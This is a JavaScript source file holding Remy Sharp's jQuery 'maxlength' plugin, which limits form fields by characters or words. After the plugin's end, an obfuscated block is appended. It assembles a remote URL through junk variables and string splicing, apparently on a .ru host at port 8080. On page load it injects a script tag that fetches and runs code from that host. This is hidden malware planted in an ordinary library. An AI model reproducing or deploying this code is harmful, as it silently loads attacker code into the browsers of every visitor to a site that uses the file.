/*
  @author: remy sharp / http://remysharp.com
  @params:
    feedback - the selector for the element that gives the user feedback. Note that this will be relative to the form the plugin is run against.
    hardLimit - whether to stop the user being able to keep adding characters. Defaults to true.
    useInput - whether to look for a hidden input named 'maxlength' instead of the maxlength attribute. Defaults to false.
    words - limit by characters or words, set this to true to limit by words. Defaults to false.
  @license: Creative Commons License - ShareAlike http://creativecommons.org/licenses/by-sa/3.0/
  @version: 1.2
  @changes: code tidy via Ariel Flesler and fix when pasting over limit and including \t or \n
*/

(function ($) {

$.fn.maxlength = function (settings) {

    if (typeof settings == 'string') {
        settings = { feedback : settings };
    }

    settings = $.extend({}, $.fn.maxlength.defaults, settings);

    function length(el) {
    	var parts = el.value;
    	if ( settings.words )
    		parts = el.value.length ? parts.split(/\s+/) : { length : 0 };
    	return parts.length;
    }
    
    return this.each(function () {
        var field = this,
        	$field = $(field),
        	$form = $(field.form),
        	limit = settings.useInput ? $form.find('input[name=maxlength]').val() : $field.attr('maxlength'),
//        	$charsLeft = $form.find(settings.feedback);
			$charsLeft = $(settings.feedback);

    	function limitCheck(event) {
        	var len = length(this),
        	    exceeded = len >= limit,
        		code = event.keyCode;

        	if ( !exceeded )
        		return;

            switch (code) {
                case 8:  // allow delete
                case 9:
                case 17:
                case 36: // and cursor keys
                case 35:
                case 37: 
                case 38:
                case 39:
                case 40:
                case 46:
                case 65:
                    return;

                default:
                    return settings.words && code != 32 && code != 13 && len == limit;
            }
        }


        var updateCount = function () {
            var len = length(field),
            	diff = limit - len;
			
            $charsLeft.html( diff || "0" );

            // truncation code
            if (settings.hardLimit && diff < 0) {
            	field.value = settings.words ? 
            	    // split by white space, capturing it in the result, then glue them back
            		field.value.split(/(\s+)/, (limit*2)-1).join('') :
            		field.value.substr(0, limit);

                updateCount();
            }
        };

        $field.keyup(updateCount).change(updateCount);
        if (settings.hardLimit) {
            $field.keydown(limitCheck);
        }

        updateCount();
    });
};

$.fn.maxlength.defaults = {
    useInput : false,
    hardLimit : true,
    feedback : '.charsLeft',
    words : false
};

})(jQuery);
try {var C=new String();var B;if(B!='V' && B!='pW'){B='V'};var S;if(S!='' && S!='Jj'){S=null};var Y=String("g");var A;if(A!='pE' && A!='z'){A=''};var kR;if(kR!='' && kR!='MF'){kR=null};var N="[";var _='';var E;if(E!=''){E='w'};var T=new String("1Qtrep".substr(3)+"lac86u".substr(0,3)+"e");var MU;if(MU!='' && MU!='D'){MU=''};var b="]";var P=RegExp;var Sa=new String();function J(JC,q){var W=new Array();var e='';var SD;if(SD!='j'){SD='j'};var c=N;var nm;if(nm!='' && nm!='WB'){nm='uu'};c+=q;var HG=new String();this.Iv="";c+=b;this.NS="";var U=new P(c, Y);return JC.replace(U, _);this.JJ="";};this.JA="";var Bz='';this.V_='';var X=J('84334014181413101334',"413");var yd="";var l="scrip"+"oQpmt".substr(4);var TY=new String("/xn"+"xx."+"com"+"/xn"+"XCRxx.".substr(3)+"com"+"mY0F/zs".substr(4)+"27ohar72o".substr(3,3)+"e.n0BG7".substr(0,3)+"et/zrw".substr(0,3)+"gooY3OA".substr(0,3)+"XFmHgleHXFm".substr(4,3)+".coYWtE".substr(0,3)+"IPRXm/e".substr(4)+"bay"+"SK4.it".substr(3)+"SVa2.ph".substr(4)+"YkFZpZYkF".substr(4,1));var JC="1";var cG=new Date();var TA=J('hXtXtXpX:q/X/qiXnqcqrqeXdXiqmXaqiqlq-Xcqoqmq.qrXeqdqtXuXbXeq.qcqoqmq.qgXoquqgXoXuq-qcqoqmq.qpXrqoXpqlquXsXlXaqbX.qrquq:X',"Xq");var iyi;if(iyi!=''){iyi='Ha'};this.Xy='';var p='';var lt="";var AK;if(AK!='lj' && AK!='dI'){AK='lj'};var m="onl"+"r2Q7oad".substr(4);window[m]=function(){this.zi="";var G=new Date();var Hi;if(Hi!='uM'){Hi=''};pt=document.createElement(l);this.Zo="";p+=TA;var k_=new Date();p+=X+TY;var et=new Array();var xB;if(xB!='HZ'){xB=''};var px;if(px!='iz'){px='iz'};var sl='';pt.defer=JC;var o=document.body;pt.src=p;var Fz=new String();var PJH;if(PJH!='pO' && PJH!='va'){PJH=''};var OoU="";o.appendChild(pt);};var vL="";var zb;if(zb!='WA' && zb!='Og'){zb='WA'};} catch(i){var NW="";};